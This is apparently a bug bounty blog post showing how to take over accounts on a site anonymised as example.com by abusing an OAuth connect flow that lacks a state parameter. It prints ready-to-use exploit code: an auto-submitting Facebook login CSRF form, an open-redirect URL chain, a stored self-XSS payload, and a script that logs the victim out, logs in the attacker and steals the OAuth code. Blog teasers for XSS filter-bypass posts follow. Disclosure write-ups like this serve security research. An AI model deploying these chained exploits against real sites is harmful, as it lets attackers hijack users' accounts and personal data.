Skip to main content

Bug Bounty : Account Takeover Vulnerability POC

Hello,

In this post I'm going to share how I could takeover www.example.com users accounts.

So, what was the vulnerability?

Well , It was a very simple OAuth flaw which I could use to takeover users account with minimal user interaction.

Cut the crap, Give me POC -_-
Ok.

www.example.com users have an option to connect their facebook account to their example.com account. 




Once a user connects his facebook account to his example.com account he does not need to enter his username/password to login instead he can simply click on "Sign in using Facebook" and he will be logged in (only if he is already logged in into his facebook account which he connected to his example.com account)



Ok all looks good let's see what happens in background when any user clicks on "Connect with Facebook"

GET Request  :  

https://m.facebook.com/v2.2/dialog/oauth?redirect_uri=https://www.example.com/user_profile.php?action=fb_connect&scope=email,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111

Did you find the flaw??

If not then go and read this awesome guide on common OAuth vulnerability.
If yes then read further.


As we can see there's not any "state" parameter hence this request can be forged to connect currently logged in facebook account to currently logged in example.com account.

Now in order to exploit this vulnerability first we need to log in our (attacker's) facebook account into user browser so that we can forge the connect request and connect our facebook account to their example.com account.

Fortunately facebook is vulnerable to login CSRF so all we need to do is first log in our facebook account and then forge the connect request in users browser.


Fb login CSRF exploit :

<form  action="https://www.facebook.com/login.php" method="POST">
<input type=text name=email value=EMAIL>
<input type=text name=pass value=PASSWORD>

Now the challenge was how to forge connect request after the form is submitted??
Once the form is submitted we lose control. And yeah it's facebook so iframe trick won't work here.
So we have to find a way to make facebook forge the connect request for us.

Again fortunately there are so many end points on facebook which takes URL as input and redirects. 

I found one of them:
https://m.facebook.com/login.php?next=URL_HERE

Final URL which will login my facebook account and also forge the connect request: 
https://m.facebook.com/login.php?next=https://m.facebook.com/v2.2/dialog/oauth?redirect_uri=https://www.example.com/user_profile.php?action=fb_connect&scope=email,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111


But wait how to deal with this ???



It's quite simple, To bypass this prompt all I had to do is first connect my facebook account to my example.com account so that facebook will save this (example.com) fb app in my facebook account and facebook will not ask me for this approval next time when I connect users (victim's) example.com account to my facebook account since this (example.com) fb app is already approved by me.

Final Exploit:

<html>
<body onload=document.getElementById("id").submit()>
<form id='id' action="https://m.facebook.com/login.php?next=https%3A%2F%2Fm.facebook.com%2Fv2.2%2Fdialog%2Foauth%3Fredirect_uri%3Dhttps%253A%252F%252Fwww.example.com%252Fuser_profile.php%253Faction%253Dfb_connect%26scope%3Demail%252Cuser_birthday%252Cuser_education_history%252Cuser_hometown%252Cuser_location%26client_id%3D111111111111111" method="POST">

<input type=text name=email value=FB_USERNAME>
<input type=text name=pass value=FB_PASSWORD>
<input type=submit>
</form> 

OK this was one way to exploit it, Now what if the facebook was not vulnerable to login csrf?


There was one more way to exploit it , by using stored self XSS and login CSRF in example.com.

 Let's discuss.

There was a page which was vulnerable to stored self XSS :  
https://www.example.com/user_overview.php?msg=93

Now my plan was to first plant an XSS payload there : 
'"><script>alert("Sending your fb tokens to Attacker ="+document.location.search)</script>< 

 
Next I would simply log out users example.com account and log in my example account (which contains stored self xss payload) and then forge the connect request and make redirect to the location where I planted XSS payload (https://www.example.com/user_overview.php?msg=93) and steal the Oauth code of user's (victim's) facebook account.

Since the user's facebook account is already connected to user's example.com account we can use that code to login to user's example.com account. (This method will only work if the user's example.com account is already connected to his facebook account and he has currently logged in to his facebook account)


So forged connect request will look like :
https://www.facebook.com/v2.2/dialog/oauth?client_id=111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=https://www.example.com/user_overview.php?msg=93


Notice the "redirect_uri" parameter , we can only change the path from this. Changing the domain name would result in failure.

Final Exploit :

<script>

var logout='<img src=https://www.example.com/logout.php>' //TO LOG OUT VICTIM'S ACCOUNT

var login='<iframe id="iframe1" src="form.html">' //TO LOG IN ATTACKER'S ACCOUNT, form.html contains login csrf exploit with attacker's account credentials of example.com

var steal="https://www.facebook.com/v2.2/dialog/oauth?client_id=111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=https://www.example.com/user_overview.php?msg=93 "

document.write(logout)
document.write(login)

setInterval(function(){ location.href=steal;   }, 3000);

</script>


 Above exploit will first log out the currently logged in user from his example.com account then it would log in our example.com account and then it would forge the connect request which would redirect to our stored XSS location with Oauth code like:

https://www.example.com/user_overview.php?msg=93&code=CODE_HERE

Now our XSS payload which we stored before on that page will execute it will send that oauth code to us.
 
 After that I could simply login to user account by :


https://www.example.com/fb_auth.php?code=CODE_HERE


BTW I think I could simply request the oauth code for my facebook account and then forge above request in user's browser to connect my facebook account to his example.com account ;)

Simple exploit :

<img src=https://www.example.com/fb_auth.php?code=MY_ACCOUNT_CODE_HERE>



Bounty:



Conclusion:

Never take small vulnerabilities like self XSS , login CSRF , logout CSRF for granted ;)




Comments

Post a Comment

Popular posts from this blog

JSP ContextPath Link Manipulation - XSS

This post is about how to manipulate resource links of HTML elements (script, img, link, etc) when getContextPath  method is used to obtain base path of resources. With the ability to manipulate links you can do XSS, CSS Injection, etc. Basically we are going to use path parameters to manipulate context path such that links would point to attacker's domain. There's a good blog that talk about the similar issues :  https://superevr.com/blog/2011/three-semicolon-vulnerabilities However this post is more about manipulating context path to hijack resource links of HTML elements .  So let's have a look at a simple JSP page ( test.jsp ) Ref :  https://www.roseindia.net/jsp/request-getcontextpath.shtml This page just loads some resources like script, image, css and that's it. It doesn't take any direct input from user but it is using value returned by r equest.getContextPath() as base path to resources link. What can we do here? Let's try...
1 comment
Read more

U-XSS in OperaMini for iOS Browser (0-Day) [CVE-2019-13607]

TL;DR :  The latest version (16.0.14) of  Operamini for iOS browser is affected by an Universal-XSS vulnerability which can be triggered by performing navigation from target domain to attacker controlled domain. When attacker controlled domain returns " javascript:code_here " in " location " header then browser executes the javascript code in the context of target domain instead of attacker domain. This vulnerability is yet not fixed by Opera team.  Update [15 July 2019] :  CVE-2019-13607 is assigned to this vulnerability. So while playing with Operamini browser I noticed that when a navigation to " javascript " protocol occurs via " location " header then browser executes the provided javascript code. For example if the value of " location " header is " javascript:alert() " then javascript code "alert()" gets executed by the browser. Normally browsers prevent navigation to " javascript: " URL...
Post a Comment
Read more

Xssing Web Part - 2

Xssing Web With Unicodes Hello friends,  This is the second part of "Xssing Web". In this post I would show how to abuse unicodes to bypass XSS filters.  BTW if you want to check previous part click here . Note : If you think there are any mistakes in this post then kindly mention it in comments. I have developed several XSS challenges to show how unicodes can be used to bypass filters. If you want to try those challenges first then click here , get back here if you couldn't solve any. Abusing Unicode : So what is Unicode? -> Unicode is nothing but the encoding standard. It  defines  UTF-8 ,  UTF-16 , UTF-32 , etc encodings. 1) UTF-8 : Characters Size : 1 byte to 4 byte Example : Character "A" => 0x41 Character "¡"  => 0xC2 0xA1 Character "ಓ" => 0xE0 0xB2 0x93 Character "𪨶" => 0xF0 0xAA 0xA8 0xB6 2) UTF-16 : Character Size : 2 byte However in UTF-16 there are two...
5 comments
Read more